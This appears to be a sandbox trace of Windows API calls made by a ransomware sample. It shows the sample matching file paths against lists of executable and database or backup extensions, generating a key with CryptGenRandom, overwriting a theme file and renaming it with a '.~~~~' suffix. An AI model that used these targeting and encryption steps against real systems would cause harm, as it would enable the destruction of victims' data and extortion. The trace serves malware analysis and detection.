	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0082.902] lstrlenW (lpString=".dbv") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0082.902] lstrlenW (lpString=".SDF") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0082.902] lstrlenW (lpString=".dtxs") returned 5
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0082.902] lstrlenW (lpString=".db3") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0082.902] lstrlenW (lpString=".OST") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0082.902] lstrlenW (lpString=".dbx") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0082.902] lstrlenW (lpString=".DB3") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0082.902] lstrlenW (lpString=".DAT") returned 4
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0082.902] lstrlenW (lpString=".VHDX") returned 5
	[0082.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0082.902] lstrlenW (lpString=".ndf") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0082.903] lstrlenW (lpString=".DB") returned 3
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0082.903] lstrlenW (lpString=".sql") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0082.903] lstrlenW (lpString=".MYD") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0082.903] lstrlenW (lpString=".DBT") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0082.903] lstrlenW (lpString=".ACCDB") returned 6
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0082.903] lstrlenW (lpString=".fdb") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0082.903] lstrlenW (lpString=".bak") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0082.903] lstrlenW (lpString=".myd") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0082.903] lstrlenW (lpString=".DTXS") returned 5
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0082.903] lstrlenW (lpString=".ckp") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0082.903] lstrlenW (lpString=".dbt") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0082.903] lstrlenW (lpString=".db") returned 3
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0082.903] lstrlenW (lpString=".TXT") returned 4
	[0082.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0082.904] lstrlenW (lpString=".MDF") returned 4
	[0082.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0082.904] lstrlenW (lpString=".bdb") returned 4
	[0082.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0082.904] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.904] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.905] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.905] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0082.905] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20289518746) returned 1
	[0082.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b410650, dwHighDateTime=0x1d60e1e)) 
	[0082.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac708
	[0082.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac708 | out: hHeap=0x300000) returned 1
	[0082.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0082.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c588
	[0082.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0082.906] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.906] GetLastError () returned 0x0
	[0082.906] GetLastError () returned 0x0
	[0082.906] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.906] GetLastError () returned 0x0
	[0082.906] GetLastError () returned 0x0
	[0082.909] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff9df, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.909] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x621, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x621, lpOverlapped=0x0) returned 1
	[0082.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.909] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.909] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.910] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.910] CloseHandle (hObject=0x124) returned 1
	[0082.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5188
	[0082.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.~~~~")) returned 1
	[0082.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5188 | out: hHeap=0x300000) returned 1
	[0082.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.911] GetLastError () returned 0x0
	[0082.911] RtlWakeConditionVariable () returned 0x365f70
	[0082.911] GetCurrentThreadId () returned 0x3a4
	[0082.911] GetCurrentThreadId () returned 0x3a4
	[0082.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0082.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4778 | out: hHeap=0x300000) returned 1
	[0082.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac6d0 | out: hHeap=0x300000) returned 1
	[0082.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4778
	[0082.911] lstrlenW (lpString=".scr") returned 4
	[0082.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0082.911] lstrlenW (lpString=".cmd") returned 4
	[0082.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0082.911] lstrlenW (lpString=".dll") returned 4
	[0082.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0082.911] lstrlenW (lpString=".bat") returned 4
	[0082.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0082.911] lstrlenW (lpString=".cpl") returned 4
	[0082.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0082.911] lstrlenW (lpString=".sys") returned 4
	[0082.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0082.911] lstrlenW (lpString=".msc") returned 4
	[0082.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0082.912] lstrlenW (lpString=".com") returned 4
	[0082.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0082.912] lstrlenW (lpString=".lnk") returned 4
	[0082.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0082.912] lstrlenW (lpString=".msp") returned 4
	[0082.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0082.912] lstrlenW (lpString=".pif") returned 4
	[0082.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0082.912] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0082.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.913] lstrlenW (lpString=".sqb") returned 4
	[0082.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0082.913] lstrlenW (lpString=".ost") returned 4
	[0082.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0082.913] lstrlenW (lpString=".txt") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0082.914] lstrlenW (lpString=".mdt") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0082.914] lstrlenW (lpString=".BDB") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0082.914] lstrlenW (lpString=".eql") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0082.914] lstrlenW (lpString=".DBF") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0082.914] lstrlenW (lpString=".EQL") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0082.914] lstrlenW (lpString=".FDB") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0082.914] lstrlenW (lpString=".EDB") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0082.914] lstrlenW (lpString=".DACPAC") returned 7
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0082.914] lstrlenW (lpString=".VHD") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0082.914] lstrlenW (lpString=".DBV") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0082.914] lstrlenW (lpString=".dacpac") returned 7
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0082.914] lstrlenW (lpString=".sdf") returned 4
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0082.914] lstrlenW (lpString=".accdb") returned 6
	[0082.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0082.914] lstrlenW (lpString=".DBX") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0082.915] lstrlenW (lpString=".MDT") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0082.915] lstrlenW (lpString=".SQB") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0082.915] lstrlenW (lpString=".vhd") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0082.915] lstrlenW (lpString=".bac") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0082.915] lstrlenW (lpString=".mdf") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0082.915] lstrlenW (lpString=".BAK") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0082.915] lstrlenW (lpString=".BAC") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0082.915] lstrlenW (lpString=".dbs") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0082.915] lstrlenW (lpString=".vhdx") returned 5
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0082.915] lstrlenW (lpString=".NDF") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0082.915] lstrlenW (lpString=".dat") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0082.915] lstrlenW (lpString=".DBS") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0082.915] lstrlenW (lpString=".CKP") returned 4
	[0082.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0082.915] lstrlenW (lpString=".edb") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0082.916] lstrlenW (lpString=".PST") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0082.916] lstrlenW (lpString=".dbf") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0082.916] lstrlenW (lpString=".SQL") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0082.916] lstrlenW (lpString=".pst") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0082.916] lstrlenW (lpString=".dbv") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0082.916] lstrlenW (lpString=".SDF") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0082.916] lstrlenW (lpString=".dtxs") returned 5
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0082.916] lstrlenW (lpString=".db3") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0082.916] lstrlenW (lpString=".OST") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0082.916] lstrlenW (lpString=".dbx") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0082.916] lstrlenW (lpString=".DB3") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0082.916] lstrlenW (lpString=".DAT") returned 4
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0082.916] lstrlenW (lpString=".VHDX") returned 5
	[0082.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0082.917] lstrlenW (lpString=".ndf") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0082.917] lstrlenW (lpString=".DB") returned 3
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0082.917] lstrlenW (lpString=".sql") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0082.917] lstrlenW (lpString=".MYD") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0082.917] lstrlenW (lpString=".DBT") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0082.917] lstrlenW (lpString=".ACCDB") returned 6
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
